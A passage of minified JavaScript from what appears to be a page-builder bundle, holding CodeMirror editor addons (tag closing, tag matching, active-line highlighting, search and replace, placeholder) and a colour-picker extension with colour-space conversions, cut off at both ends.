y=m.toLowerCase();if(!m||"string"==d.type&&(d.end!=c.ch||!/[\"\']/.test(d.string.charAt(d.string.length-1))||1==d.string.length)||"tag"==d.type&&h.close||d.string.indexOf("/")==c.ch-d.start-1||v&&r(v,y)>-1||i(o,p.mode.xmlCurrentContext&&p.mode.xmlCurrentContext(f)||[],m,c,!0))return e.Pass;var _="object"==typeof l&&l.emptyTags;if(_&&r(_,m)>-1)s[u]={text:"/>",newPos:e.Pos(c.line,c.ch+2)};else{var k=b&&r(b,y)>-1;s[u]={indent:k,text:">"+(k?"\n\n":"")+"</"+m+">",newPos:k?e.Pos(c.line+1,0):e.Pos(c.line,c.ch+1)}}}for(var w="object"==typeof l&&l.dontIndentOnAutoClose,u=a.length-1;u>=0;u--){var C=s[u];o.replaceRange(C.text,a[u].head,a[u].anchor,"+insert");var E=o.listSelections().slice(0);E[u]={head:C.newPos,anchor:C.newPos},o.setSelections(E),!w&&C.indent&&(o.indentLine(C.newPos.line,null,!0),o.indentLine(C.newPos.line+1,null,!0))}}(o)}),a.addKeyMap(u)}});var t=["area","base","br","col","command","embed","hr","img","input","keygen","link","meta","param","source","track","wbr"],n=["applet","blockquote","body","button","div","dl","fieldset","form","frameset","h1","h2","h3","h4","h5","h6","head","html","iframe","layer","legend","object","ol","p","select","table","ul"];function o(t,n){for(var o=t.listSelections(),r=[],a=n?"/":"</",s=t.getOption("autoCloseTags"),l="object"==typeof s&&s.dontIndentOnSlash,u=0;u<o.length;u++){if(!o[u].empty())return e.Pass;var c=o[u].head,d=t.getTokenAt(c),p=e.innerMode(t.getMode(),d.state),f=p.state;if(n&&("string"==d.type||"<"!=d.string.charAt(0)||d.start!=c.ch-1))return e.Pass;var h,m="xml"!=p.mode.name&&"htmlmixed"==t.getMode().name;if(m&&"javascript"==p.mode.name)h=a+"script";else if(m&&"css"==p.mode.name)h=a+"style";else{var g=p.mode.xmlCurrentContext&&p.mode.xmlCurrentContext(f);if(!g||g.length&&i(t,g,g[g.length-1],c))return e.Pass;h=a+g[g.length-1]}">"!=t.getLine(c.line).charAt(d.end)&&(h+=">"),r[u]=h}if(t.replaceSelections(r),o=t.listSelections(),!l)for(var u=0;u<o.length;u++)(u==o.length-1||o[u].head.line<o[u+1].head.line)&&t.indentLine(o[u].head.line)}function r(e,t){if(e.indexOf)return e.indexOf(t);for(var n=0,o=e.length;n<o;++n)if(e[n]==t)return n;return-1}function i(t,n,o,r,i){if(!e.scanForClosingTag)return!1;var a=Math.min(t.lastLine()+1,r.line+500),s=e.scanForClosingTag(t,r,null,a);if(!s||s.tag!=o)return!1;for(var l=i?1:0,u=n.length-1;u>=0&&n[u]==o;u--)++l;r=s.to;for(var u=1;u<l;u++){var c=e.scanForClosingTag(t,r,null,a);if(!c||c.tag!=o)return!1;r=c.to}return!0}e.commands.closeTag=function(e){return o(e)}}(n(1276),n(1317))},function(e,t,n){
// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE
!function(e){"use strict";function t(e){e.state.tagHit&&e.state.tagHit.clear(),e.state.tagOther&&e.state.tagOther.clear(),e.state.tagHit=e.state.tagOther=null}function n(n){n.state.failedTagMatch=!1,n.operation(function(){if(t(n),!n.somethingSelected()){var o=n.getCursor(),r=n.getViewport();r.from=Math.min(r.from,o.line),r.to=Math.max(o.line+1,r.to);var i=e.findMatchingTag(n,o,r);if(i){if(n.state.matchBothTags){var a="open"==i.at?i.open:i.close;a&&(n.state.tagHit=n.markText(a.from,a.to,{className:"CodeMirror-matchingtag"}))}var s="close"==i.at?i.open:i.close;s?n.state.tagOther=n.markText(s.from,s.to,{className:"CodeMirror-matchingtag"}):n.state.failedTagMatch=!0}}})}function o(e){e.state.failedTagMatch&&n(e)}e.defineOption("matchTags",!1,function(r,i,a){a&&a!=e.Init&&(r.off("cursorActivity",n),r.off("viewportChange",o),t(r)),i&&(r.state.matchBothTags="object"==typeof i&&i.bothTags,r.on("cursorActivity",n),r.on("viewportChange",o),n(r))}),e.commands.toMatchingTag=function(t){var n=e.findMatchingTag(t,t.getCursor());if(n){var o="close"==n.at?n.open:n.close;o&&t.extendSelection(o.to,o.from)}}}(n(1276),n(1317))},function(e,t,n){
// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE
!function(e){"use strict";var t="CodeMirror-activeline",n="CodeMirror-activeline-background",o="CodeMirror-activeline-gutter";function r(e){for(var r=0;r<e.state.activeLines.length;r++)e.removeLineClass(e.state.activeLines[r],"wrap",t),e.removeLineClass(e.state.activeLines[r],"background",n),e.removeLineClass(e.state.activeLines[r],"gutter",o)}function i(e,i){for(var a=[],s=0;s<i.length;s++){var l=i[s],u=e.getOption("styleActiveLine");if("object"==typeof u&&u.nonEmpty?l.anchor.line==l.head.line:l.empty()){var c=e.getLineHandleVisualStart(l.head.line);a[a.length-1]!=c&&a.push(c)}}(function(e,t){if(e.length!=t.length)return!1;for(var n=0;n<e.length;n++)if(e[n]!=t[n])return!1;return!0})(e.state.activeLines,a)||e.operation(function(){r(e);for(var i=0;i<a.length;i++)e.addLineClass(a[i],"wrap",t),e.addLineClass(a[i],"background",n),e.addLineClass(a[i],"gutter",o);e.state.activeLines=a})}function a(e,t){i(e,t.ranges)}e.defineOption("styleActiveLine",!1,function(t,n,o){var s=o!=e.Init&&o;n!=s&&(s&&(t.off("beforeSelectionChange",a),r(t),delete t.state.activeLines),n&&(t.state.activeLines=[],i(t,t.listSelections()),t.on("beforeSelectionChange",a)))})}(n(1276))},function(e,t,n){
// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE
!function(e){"use strict";function t(){this.posFrom=this.posTo=this.lastQuery=this.query=null,this.overlay=null}function n(e){return e.state.search||(e.state.search=new t)}function o(e){return"string"==typeof e&&e==e.toLowerCase()}function r(e,t,n){return e.getSearchCursor(t,n,{caseFold:o(t),multiline:!0})}function i(e,t,n,o,r){e.openDialog?e.openDialog(t,r,{value:o,selectValueOnOpen:!0}):r(prompt(n,o))}function a(e){return e.replace(/\\([nrt\\])/g,function(e,t){return"n"==t?"\n":"r"==t?"\r":"t"==t?"\t":"\\"==t?"\\":e})}function s(e){var t=e.match(/^\/(.*)\/([a-z]*)$/);if(t)try{e=new RegExp(t[1],-1==t[2].indexOf("i")?"":"i")}catch(e){}else e=a(e);return("string"==typeof e?""==e:e.test(""))&&(e=/x^/),e}function l(e,t,n){t.queryText=n,t.query=s(n),e.removeOverlay(t.overlay,o(t.query)),t.overlay=function(e,t){return"string"==typeof e?e=new RegExp(e.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g,"\\$&"),t?"gi":"g"):e.global||(e=new RegExp(e.source,e.ignoreCase?"gi":"g")),{token:function(t){e.lastIndex=t.pos;var n=e.exec(t.string);if(n&&n.index==t.pos)return t.pos+=n[0].length||1,"searching";n?t.pos=n.index:t.skipToEnd()}}}(t.query,o(t.query)),e.addOverlay(t.overlay),e.showMatchesOnScrollbar&&(t.annotate&&(t.annotate.clear(),t.annotate=null),t.annotate=e.showMatchesOnScrollbar(t.query,o(t.query)))}function u(t,o,r,a){var s=n(t);if(s.query)return c(t,o);var u=t.getSelection()||s.lastQuery;if(u instanceof RegExp&&"x^"==u.source&&(u=null),r&&t.openDialog){var f=null,h=function(n,o){e.e_stop(o),n&&(n!=s.queryText&&(l(t,s,n),s.posFrom=s.posTo=t.getCursor()),f&&(f.style.opacity=1),c(t,o.shiftKey,function(e,n){var o;n.line<3&&document.querySelector&&(o=t.display.wrapper.querySelector(".CodeMirror-dialog"))&&o.getBoundingClientRect().bottom-4>t.cursorCoords(n,"window").top&&((f=o).style.opacity=.4)}))};!function(e,t,n,o,r){e.openDialog(t,o,{value:n,selectValueOnOpen:!0,closeOnEnter:!1,onClose:function(){d(e)},onKeyDown:r})}(t,p(t),u,h,function(o,r){var i=e.keyName(o),a=t.getOption("extraKeys"),s=a&&a[i]||e.keyMap[t.getOption("keyMap")][i];"findNext"==s||"findPrev"==s||"findPersistentNext"==s||"findPersistentPrev"==s?(e.e_stop(o),l(t,n(t),r),t.execCommand(s)):"find"!=s&&"findPersistent"!=s||(e.e_stop(o),h(r,o))}),a&&u&&(l(t,s,u),c(t,o))}else i(t,p(t),"Search for:",u,function(e){e&&!s.query&&t.operation(function(){l(t,s,e),s.posFrom=s.posTo=t.getCursor(),c(t,o)})})}function c(t,o,i){t.operation(function(){var a=n(t),s=r(t,a.query,o?a.posFrom:a.posTo);(s.find(o)||(s=r(t,a.query,o?e.Pos(t.lastLine()):e.Pos(t.firstLine(),0))).find(o))&&(t.setSelection(s.from(),s.to()),t.scrollIntoView({from:s.from(),to:s.to()},20),a.posFrom=s.from(),a.posTo=s.to(),i&&i(s.from(),s.to()))})}function d(e){e.operation(function(){var t=n(e);t.lastQuery=t.query,t.query&&(t.query=t.queryText=null,e.removeOverlay(t.overlay),t.annotate&&(t.annotate.clear(),t.annotate=null))})}function p(e){return'<span class="CodeMirror-search-label">'+e.phrase("Search:")+'</span> <input type="text" style="width: 10em" class="CodeMirror-search-field"/> <span style="color: #888" class="CodeMirror-search-hint">'+e.phrase("(Use /re/ syntax for regexp search)")+"</span>"}function f(e,t,n){e.operation(function(){for(var o=r(e,t);o.findNext();)if("string"!=typeof t){var i=e.getRange(o.from(),o.to()).match(t);o.replace(n.replace(/\$(\d)/g,function(e,t){return i[t]}))}else o.replace(n)})}function h(e,t){if(!e.getOption("readOnly")){var o=e.getSelection()||n(e).lastQuery,l='<span class="CodeMirror-search-label">'+(t?e.phrase("Replace all:"):e.phrase("Replace:"))+"</span>";i(e,l+function(e){return' <input type="text" style="width: 10em" class="CodeMirror-search-field"/> <span style="color: #888" class="CodeMirror-search-hint">'+e.phrase("(Use /re/ syntax for regexp search)")+"</span>"}(e),l,o,function(n){n&&(n=s(n),i(e,function(e){return'<span class="CodeMirror-search-label">'+e.phrase("With:")+'</span> <input type="text" style="width: 10em" class="CodeMirror-search-field"/>'}(e),e.phrase("Replace with:"),"",function(o){if(o=a(o),t)f(e,n,o);else{d(e);var i=r(e,n,e.getCursor("from")),s=function(){var t,a=i.from();!(t=i.findNext())&&(i=r(e,n),!(t=i.findNext())||a&&i.from().line==a.line&&i.from().ch==a.ch)||(e.setSelection(i.from(),i.to()),e.scrollIntoView({from:i.from(),to:i.to()}),function(e,t,n,o){e.openConfirm?e.openConfirm(t,o):confirm(n)&&o[0]()}(e,function(e){return'<span class="CodeMirror-search-label">'+e.phrase("Replace?")+"</span> <button>"+e.phrase("Yes")+"</button> <button>"+e.phrase("No")+"</button> <button>"+e.phrase("All")+"</button> <button>"+e.phrase("Stop")+"</button> "}(e),e.phrase("Replace?"),[function(){l(t)},s,function(){f(e,n,o)}]))},l=function(e){i.replace("string"==typeof n?o:o.replace(/\$(\d)/g,function(t,n){return e[n]})),s()};s()}}))})}}e.commands.find=function(e){d(e),u(e)},e.commands.findPersistent=function(e){d(e),u(e,!1,!0)},e.commands.findPersistentNext=function(e){u(e,!1,!0,!0)},e.commands.findPersistentPrev=function(e){u(e,!0,!0,!0)},e.commands.findNext=u,e.commands.findPrev=function(e){u(e,!0)},e.commands.clearSearch=d,e.commands.replace=h,e.commands.replaceAll=function(e){h(e,!0)}}(n(1276),n(1295),n(1318))},function(e,t,n){
// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE
!function(e){function t(e){e.state.placeholder&&(e.state.placeholder.parentNode.removeChild(e.state.placeholder),e.state.placeholder=null)}function n(e){t(e);var n=e.state.placeholder=document.createElement("pre");n.style.cssText="height: 0; overflow: visible",n.style.direction=e.getOption("direction"),n.className="CodeMirror-placeholder CodeMirror-line-like";var o=e.getOption("placeholder");"string"==typeof o&&(o=document.createTextNode(o)),n.appendChild(o),e.display.lineSpace.insertBefore(n,e.display.lineSpace.firstChild)}function o(e){i(e)&&n(e)}function r(e){var o=e.getWrapperElement(),r=i(e);o.className=o.className.replace(" CodeMirror-empty","")+(r?" CodeMirror-empty":""),r?n(e):t(e)}function i(e){return 1===e.lineCount()&&""===e.getLine(0)}e.defineOption("placeholder","",function(i,a,s){var l=s&&s!=e.Init;if(a&&!l)i.on("blur",o),i.on("change",r),i.on("swapDoc",r),e.on(i.getInputField(),"compositionupdate",i.state.placeholderCompose=function(){!function(e){setTimeout(function(){var o=!1,r=e.getInputField();"TEXTAREA"==r.nodeName?o=!r.value:1==e.lineCount()&&(o=!/[^\u200b]/.test(r.querySelector(".CodeMirror-line").textContent)),o?n(e):t(e)},20)}(i)}),r(i);else if(!a&&l){i.off("blur",o),i.off("change",r),i.off("swapDoc",r),e.off(i.getInputField(),"compositionupdate",i.state.placeholderCompose),t(i);var u=i.getWrapperElement();u.className=u.className.replace(" CodeMirror-empty","")}a&&!i.hasFocus()&&o(i)})}(n(1276))},function(e,t,n){n(1276).defineExtension("colorpicker",function(){var e,t,n,o,r,i,a,s,l,u,c,d,p,f,h,m,g,v,b,y,_,k,w,C,E,O,S,T,M,x,P,j,L,N=function(){return ET_Builder.Frames.top},D={trim:function(e){return e.replace(/^\s+|\s+$/g,"")},format:function(e,t){if("hex"==t){var n=e.r.toString(16);e.r<16&&(n="0"+n);var o=e.g.toString(16);e.g<16&&(o="0"+o);var r=e.b.toString(16);return e.b<16&&(r="0"+r),"#"+[n,o,r].join("")}return"rgb"==t?void 0===e.a?"rgb("+[e.r,e.g,e.b].join(",")+")":"rgba("+[e.r,e.g,e.b,e.a].join(",")+")":"hsl"==t?void 0===e.a?"hsl("+[e.h,e.s+"%",e.l+"%"].join(",")+")":"hsla("+[e.h,e.s+"%",e.l+"%",e.a].join(",")+")":e},parse:function(e){if("string"==typeof e){if(e.indexOf("rgb(")>-1){for(var t=e.replace("rgb(","").replace(")","").split(","),n=0,o=t.length;n<o;n++)t[n]=parseInt(D.trim(t[n]),10);return{type:"rgb",r:t[0],g:t[1],b:t[2],a:1}}if(e.indexOf("rgba(")>-1){for(var t=e.replace("rgba(","").replace(")","").split(","),n=0,o=t.length;n<o;n++)t[n]=o-1==n?parseFloat(D.trim(t[n])):parseInt(D.trim(t[n]),10);return{type:"rgb",r:t[0],g:t[1],b:t[2],a:t[3]}}if(e.indexOf("hsl(")>-1){for(var t=e.replace("hsl(","").replace(")","").split(","),n=0,o=t.length;n<o;n++)t[n]=parseInt(D.trim(t[n]),10);var r={type:"hsl",h:t[0],s:t[1],l:t[2],a:1},i=D.HSLtoRGB(r.h,r.s,r.l);return r.r=i.r,r.g=i.g,r.b=i.b,r}if(e.indexOf("hsla(")>-1){for(var t=e.replace("hsla(","").replace(")","").split(","),n=0,o=t.length;n<o;n++)t[n]=o-1==n?parseFloat(D.trim(t[n])):parseInt(D.trim(t[n]),10);var r={type:"hsl",h:t[0],s:t[1],l:t[2],a:t[3]},i=D.HSLtoRGB(r.h,r.s,r.l);return r.r=i.r,r.g=i.g,r.b=i.b,r}if(0==e.indexOf("#")){e=e.replace("#","");var t=[];if(3==e.length)for(var n=0,o=e.length;n<o;n++){var a=e.substr(n,1);t.push(parseInt(a+a,16))}else for(var n=0,o=e.length;n<o;n+=2)t.push(parseInt(e.substr(n,2),16));return{type:"hex",r:t[0],g:t[1],b:t[2],a:1}}}return e},HSVtoRGB:function(e,t,n){360==e&&(e=0);var o=t*n,r=o*(1-Math.abs(e/60%2-1)),i=n-o,a=[];return 0<=e&&e<60?a=[o,r,0]:60<=e&&e<120?a=[r,o,0]:120<=e&&e<180?a=[0,o,r]:180<=e&&e<240?a=[0,r,o]:240<=e&&e<300?a=[r,0,o]:300<=e&&e<360&&(a=[o,0,r]),{r:Math.ceil(255*(a[0]+i)),g:Math.ceil(255*(a[1]+i)),b:Math.ceil(255*(a[2]+i))}},RGBtoHSV:function(e,t,n){var o=e/255,r=t/255,i=n/255,a=Math.max(o,r,i),s=Math.min(o,r,i),l=a-s,u=0;0==l?u=0:a==o?u=(r-i)/l%6*60:a==r?u=60*((i-o)/l+2):a==i&&(u=60*((o-r)/l+4)),u<0&&(u=360+u);var c=a;return{h:u,s:0==a?0:l/a,v:c}},RGBtoHSL:function(e,t,n){e/=255,t/=255,n/=255;var o,r,i=Math.max(e,t,n),a=Math.min(e,t,n),s=(i+a)/2;if(i==a)o=r=0;else{var l=i-a;switch(r=s>.5?l/(2-i-a):l/(i+a),i){case e:o=(t-n)/l+(t<n?6:0);break;case t:o=(n-e)/l+2;break;case n:o=(e-t)/l+4}o/=6}return{h:Math.round(360*o),s:Math.round(100*r),l:Math.round(100*s)}},HUEtoRGB:function(e,t,n){return n<0&&(n+=1),n>1&&(n-=1),n<1/6?e+6*(t-e)*n:n<.5?t:n<2/3?e+(t-e)*(2/3-n)*6:e},HSLtoRGB:function(e,t,n){var o,r,i;if(e/=360,n/=100,0==(t/=100))o=r=i=n;else{var a=n<.5?n*(1+t):n+t-n*t,s=2*n-a;o=this.HUEtoRGB(s,a,e+1/3),r=this.HUEtoRGB(s,a,e),i=this.HUEtoRGB(s,a,e-1/3)}return{r:255*o,g:255*r,b:255*i}}},A=[{rgb:"#ff0000",start:0},{rgb:"#ffff00",start:.17},{rgb:"#00ff00",start:.33},{rgb:"#00ffff",start:.5},{rgb:"#0000ff",start:.67},{rgb:"#ff00ff",start:.83},{rgb:"#ff0000",start:1}],F=(function(){for(var e=["","-o-","-ms-","-moz-","-webkit-"],t=N().document.createElement("div"),n=0;n<e.length;n++)t.style.background=e[n]+"linear-gradient(#000000, #ffffff)",t.style.background;t=null,delete t}(),function(){}),I=0,R={},B=!1,W=!1,V=2e3;function H(e,t,n){if("string"!=typeof e)this.el=e;else{var o=N().document.createElement(e);for(var r in this.uniqId=I++,o.className=t,n=n||{})o.setAttribute(r,n[r]);this.el=o}}function G(){return D.HSVtoRGB(_,k,w)}function U(){var e=D.HSVtoRGB(_,k,w);return D.RGBtoHSL(e.r,e.g,e.b)}function z(e){if("rgb"==(e=e||"hex")){var t=G();return t.a=1==y?void 0:y,D.format(t,"rgb")}if("hsl"==e){var n=U();return n.a=1==y?void 0:y,D.format(n,"hsl")}var t=G();return D.format(t,"hex")}function q(){var e,t,n,o,r,i,a=v.data("format")||"hex",s=null;if("hex"==a)C.val(D.format(G(),"hex"));else if("rgb"==a){var s=G();o=s.r,r=s.g,i=s.b,E.val(o),O.val(r),S.val(i),T.val(y)}else if("hsl"==a){var l=U();e=l.h,t=l.s,n=l.l,M.val(e),x.val(t+"%"),P.val(n+"%"),j.val(y)}!function(e){c.css("background-color",e)}(z("rgb"));var s=G(),u=D.format(s,"rgb");!function(e){var t=D.parse(e);t.a=0;var n=D.format(t,"rgb");t.a=1;var o=D.format(t,"rgb");h.css("background","linear-gradient(to right, "+n+", "+o+")")}(u),"function"==typeof F&&(isNaN(y)||F(z(a)))}function K(e){e.preventDefault();var n=t.position(),r=o.width(),i=o.height(),s=e.clientX-n.left,l=e.clientY-n.top;s<0?s=0:s>r&&(s=r),l<0?l=0:l>i&&(l=i),a.css({left:s-5+"px",top:l-5+"px"}),a.data("pos",{x:s,y:l}),Q(),q()}function $(e){for(var t,n,o=0;o<A.length;o++)if(A[o].start>=e){t=A[o-1],n=A[o];break}return t&&n?function(e,t,n){var o={r:parseInt(e.r+(t.r-e.r)*n,10),g:parseInt(e.g+(t.g-e.g)*n,10),b:parseInt(e.b+(t.b-e.b)*n,10)};return D.format(o,"hex")}(t,n,(e-t.start)/(n.start-t.start)):A[0].rgb}function X(e){o.css("background-color",e)}function Y(e){var t,n=d.offset().left,o=n+d.width(),r=e?Z(e).clientX:n+_/360*(o-n);t=r<n?0:r>o?100:(r-n)/(o-n)*100;var i=d.width()*(t/100);s.css({left:i-Math.ceil(s.width()/2)+"px"}),s.data("pos",{x:i});var a=$(t/100);X(a),_=t/100*360,q()}function J(e){var t,n=f.offset().left,o=n+f.width(),r=Z(e).clientX;t=r<n?0:r>o?100:(r-n)/(o-n)*100;var i,a,s,l=f.width()*(t/100);g.css({left:l-Math.ceil(g.width()/2)+"px"}),g.data("pos",{x:l}),i=g.data("pos")||{x:0},a=Math.round(i.x/f.width()*100)/100,y=isNaN(a)?1:a,s=v.data("format")||"hex",y<1&&"hex"==s&&(v.removeClass(s),v.addClass("rgb"),v.data("format","rgb"),q()),q()}function Q(){var e=a.data("pos")||{x:0,y:0},t=s.data("pos")||{x:0},n=o.width(),r=o.height(),i=t.x/d.width()*360,l=e.x/n,u=(r-e.y)/r;0==n&&(i=0,l=0,u=0),_=i,k=l,w=u}function Z(e){return e.touches&&e.touches[0]?e.touches[0]:e}function ee(e){var t=e.which,n=!1;return 37!=t&&39!=t&&8!=t&&46!=t&&9!=t||(n=!0),!(!n&&(t<48||t>57))}function te(e){var t=E.val(),n=O.val(),o=S.val();""!=t&&""!=n&&""!=o&&(parseInt(t)>255?E.val(255):E.val(parseInt(t)),parseInt(n)>255?O.val(255):O.val(parseInt(n)),parseInt(o)>255?S.val(255):S.val(parseInt(o)),oe(D.format({r:E.int(),g:O.int(),b:S.int()},"hex")))}function ne(e){var t;v.data("format",e),t=v.data("format")||"hex",v.removeClass("hex"),v.removeClass("rgb"),v.removeClass("hsl"),v.addClass(t)}function oe(e){var t=e||"#FF0000",n=D.parse(t);ne(n.type),X(t);var r,i,l,u,c=D.RGBtoHSV(n.r,n.g,n.b);r=c.h,i=c.s,l=c.v,u=n.a,y=u,_=r,k=i,w=l,function(){var e=o.width()*k,t=o.height()*(1-w);a.css({left:e-5+"px",top:t-5+"px"}),a.data("pos",{x:e,y:t});var n=d.width()*(_/360);s.css({left:n-7.5+"px"}),s.data("pos",{x:n});var r=f.width()*(y||0);g.css({left:r-7.5+"px"}),g.data("pos",{x:r})}(),Y(),q()}function re(e,t,n){e.addEventListener(t,n)}function ie(e,t,n){e.removeEventListener(t,n)}function ae(e){o.data("isDown",!0),K(e)}function se(e){o.data("isDown",!1)}function le(e){e.preventDefault(),n.data("isDown",!0)}function ue(e){e.preventDefault(),p.data("isDown",!0)}function ce(e){n.data("isDown",!0),Y(e)}function de(e){p.data("isDown",!0),J(e)}function pe(e){if(e.which<65||e.which>70)return ee(e)}function fe(e){var t=C.val();"#"==t.charAt(0)&&7==t.length&&oe(t)}function he(e){var t,n;t=v.data("format")||"hex",n="hex","hex"==t?n="rgb":"rgb"==t?n="hsl":"hsl"==t&&(n=1==y?"hex":"rgb"),v.removeClass(t),v.addClass(n),v.data("format",n),q()}function me(e){o.data("isDown",!1),n.data("isDown",!1),p.data("isDown",!1),"HTML"==e.target.nodeName||0==function(e){var t=new H(e).closest("codemirror-colorview"),n=new H(e).closest("codemirror-colorpicker"),o=new H(e).closest("CodeMirror");return e.nodeName,!!(n||t||o)}(e.target)&&ye()}function ge(e){o.data("isDown")&&K(e),n.data("isDown")&&Y(e),p.data("isDown")&&J(e)}function ve(){ie(o.el,"mousedown",ae),ie(o.el,"mouseup",se),ie(s.el,"mousedown",le),ie(g.el,"mousedown",ue),ie(d.el,"mousedown",ce),ie(f.el,"mousedown",de),ie(C.el,"keydown",pe),ie(C.el,"keyup",fe),ie(E.el,"keydown",ee),ie(E.el,"keyup",te),ie(O.el,"keydown",ee),ie(O.el,"keyup",te),ie(S.el,"keydown",ee),ie(S.el,"keyup",te),ie(N().document,"mouseup",me),ie(N().document,"mousemove",ge),ie(m.el,"click",he),F=void 0}function be(e){var t=new H("div","information-item "+e);if("hex"==e){var n=new H("div","input-field hex");C=new H("input","input",{type:"text"}),n.append(C),n.append(new H("div","title").html("HEX")),t.append(n)}else if("rgb"==e){var n=new H("div","input-field rgb-r");E=new H("input","input",{type:"text"}),n.append(E),n.append(new H("div","title").html("R")),t.append(n),n=new H("div","input-field rgb-g"),O=new H("input","input",{type:"text"}),n.append(O),n.append(new H("div","title").html("G")),t.append(n),n=new H("div","input-field rgb-b"),S=new H("input","input",{type:"text"}),n.append(S),n.append(new H("div","title").html("B")),t.append(n),n=new H("div","input-field rgb-a"),T=new H("input","input",{type:"text"}),n.append(T),n.append(new H("div","title").html("A")),t.append(n)}else if("hsl"==e){var n=new H("div","input-field hsl-h");M=new H("input","input",{type:"text"}),n.append(M),n.append(new H("div","title").html("H")),t.append(n),n=new H("div","input-field hsl-s"),x=new H("input","input",{type:"text"}),n.append(x),n.append(new H("div","title").html("S")),t.append(n),n=new H("div","input-field hsl-l"),P=new H("input","input",{type:"text"}),n.append(P),n.append(new H("div","title").html("L")),t.append(n),n=new H("div","input-field hsl-a"),j=new H("input","input",{type:"text"}),n.append(j),n.append(new H("div","title").html("A")),t.append(n)}return t}function ye(){B&&(ve(),t.hide(),t.remove(),B=!1)}return H.prototype.closest=function(e){for(var t=this,n=!1;!(n=t.hasClass(e));){if(!t.el.parentNode)return null;t=new H(t.el.parentNode)}return n?t:null},H.prototype.removeClass=function(e){this.el.className=D.trim((" "+this.el.className+" ").replace(" "+e+" "," "))},H.prototype.hasClass=function(e){if(this.el.className){var t=" "+this.el.className+" ";return t.indexOf(" "+e+" ")>-1}return!1},H.prototype.addClass=function(e){this.hasClass(e)||(this.el.className=this.el.className+" "+e)},H.prototype.html=function(e){return this.el.innerHTML=e,this},H.prototype.empty=function(){return this.html("")},H.prototype.append=function(e){return"string"==typeof e?this.el.appendChild(N().document.createTextNode(e)):this.el.appendChild(e.el||e),this},H.prototype.appendTo=function(e){var t=e.el?e.el:e;return t.appendChild(this.el),this},H.prototype.remove=function(){return this.el.parentNode&&this.el.parentNode.removeChild(this.el),this},H.prototype.text=function(){return this.el.textContent},H.prototype.css=function(e,t){if(2==arguments.length)this.el.style[e]=t;else if(1==arguments.length){if("string"==typeof e)return getComputedStyle(this.el)[e];var n=e||{};for(var o in n)this.el.style[o]=n[o]}return this},H.prototype.offset=function(){var e=this.el.getBoundingClientRect();return{top:e.top+N().document.body.scrollTop,left:e.left+N().document.body.scrollLeft}},H.prototype.position=function(){return{top:parseFloat(this.el.style.top),left:parseFloat(this.el.style.left)}},H.prototype.width=function(){return this.el.offsetWidth},H.prototype.height=function(){return this.el.offsetHeight},H.prototype.dataKey=function(e){return this.uniqId+"."+e},H.prototype.data=function(e,t){if(2!=arguments.length){if(1==arguments.length)return R[this.dataKey(e)];var n=Object.keys(R),o=this.uniqId+".";return n.filter(function(e){return 0==e.indexOf(o)}).map(function(e){return R[e]})}return R[this.dataKey(e)]=t,this},H.prototype.val=function(e){return 0==arguments.length?this.el.value:(1==arguments.length&&(this.el.value=e),this)},H.prototype.int=function(){return parseInt(this.val(),10)},H.prototype.show=function(){return this.css("display","block")},H.prototype.hide=function(){return this.css("display","none")},e=new H(N().document.body),t=new H("div","codemirror-colorpicker"),o=new H("div","color"),a=new H("div","drag-pointer"),r=new H("div","value"),i=new H("div","saturation"),l=new H("div","control"),u=new H("div","empty"),c=new H("div","color"),n=new H("div","hue"),d=new H("div","hue-container"),s=new H("div","drag-bar"),p=new H("div","opacity"),f=new H("div","opacity-container"),h=new H("div","color-bar"),g=new H("div","drag-bar2"),v=new H("div","information hex"),b=new H("div","information-change"),m=new H("button","format-change-button",{type:"button"}).html("\u2194"),b.append(m),v.append(be("hex")),v.append(be("rgb")),v.append(be("hsl")),v.append(b),r.append(a),i.append(r),o.append(i),d.append(s),n.append(d),f.append(h),f.append(g),p.append(f),l.append(n),l.append(p),l.append(u),l.append(c),t.append(o),t.append(l),t.append(v),function(){for(var e=0,t=A.length;e<t;e++){var n=A[e],o=D.parse(n.rgb);n.r=o.r,n.g=o.g,n.b=o.b}}(),oe(),{isShortCut:function(){return W},$root:t,show:function(n,r,i){var a;ve(),re(o.el,"mousedown",ae),re(o.el,"mouseup",se),re(s.el,"mousedown",le),re(g.el,"mousedown",ue),re(d.el,"mousedown",ce),re(f.el,"mousedown",de),re(C.el,"keydown",pe),re(C.el,"keyup",fe),re(E.el,"keydown",ee),re(E.el,"keyup",te),re(O.el,"keydown",ee),re(O.el,"keyup",te),re(S.el,"keydown",ee),re(S.el,"keyup",te),re(N().document,"mouseup",me),re(N().document,"mousemove",ge),re(m.el,"click",he),t.appendTo(N().document.body),t.css({position:"fixed",left:"-10000px",top:"-10000px"}),t.show(),function(n){var o=t.width(),r=t.height(),i=n.left-e.el.scrollLeft;o+i>window.innerWidth&&(i-=o+i-window.innerWidth),i<0&&(i=0);var a=n.top-e.el.scrollTop;r+a>window.innerHeight&&(a-=r+a-window.innerHeight),a<0&&(a=0),t.css({left:i+"px",top:a+"px"})}(n),B=!0,W=n.isShortCut||!1,oe(r),F=function(e){i(e)},(V=n.hideDelay||2e3)>0&&(a=(a=V)||0,ie(t.el,"mouseenter"),ie(t.el,"mouseleave"),re(t.el,"mouseenter",function(){clearTimeout(L)}),re(t.el,"mouseleave",function(){clearTimeout(L),L=setTimeout(ye,a)}),clearTimeout(L),L=setTimeout(ye,a))},hide:ye,setColor:function(e){if("object"==typeof e){if(!e.r||!e.g||!e.b)return;oe(D.format(e,"hex"))}else if("string"==typeof e){if("#"!=e.charAt(0))return;oe(e)}},getColor:function(e){Q();var t=G();return e?D.format(t,e):t}}})},function(e,t,n){!function(e){"use strict";var t=function(){return ET_Builder.Frames.top},n={aliceblue:"rgb(240, 248, 255)",antiquewhite:"rgb(250, 235, 215)",aqua:"rgb(0, 255, 255)",aquamarine:"rgb(127, 255, 212)",azure:"rgb(240, 255, 255)",beige:"rgb(245, 245, 220)",bisque:"rgb(255, 228, 196)",black:"rgb(0, 0, 0)",blanchedalmond:"rgb(255, 235, 205)",blue:"rgb(0, 0, 255)",blueviolet:"rgb(138, 43, 226)",brown:"rgb(165, 42, 42)",burlywood:"rgb(222, 184, 135)",cadetblue:"rgb(95, 158, 160)",chartreuse:"rgb(127, 255, 0)",chocolate:"rgb(210, 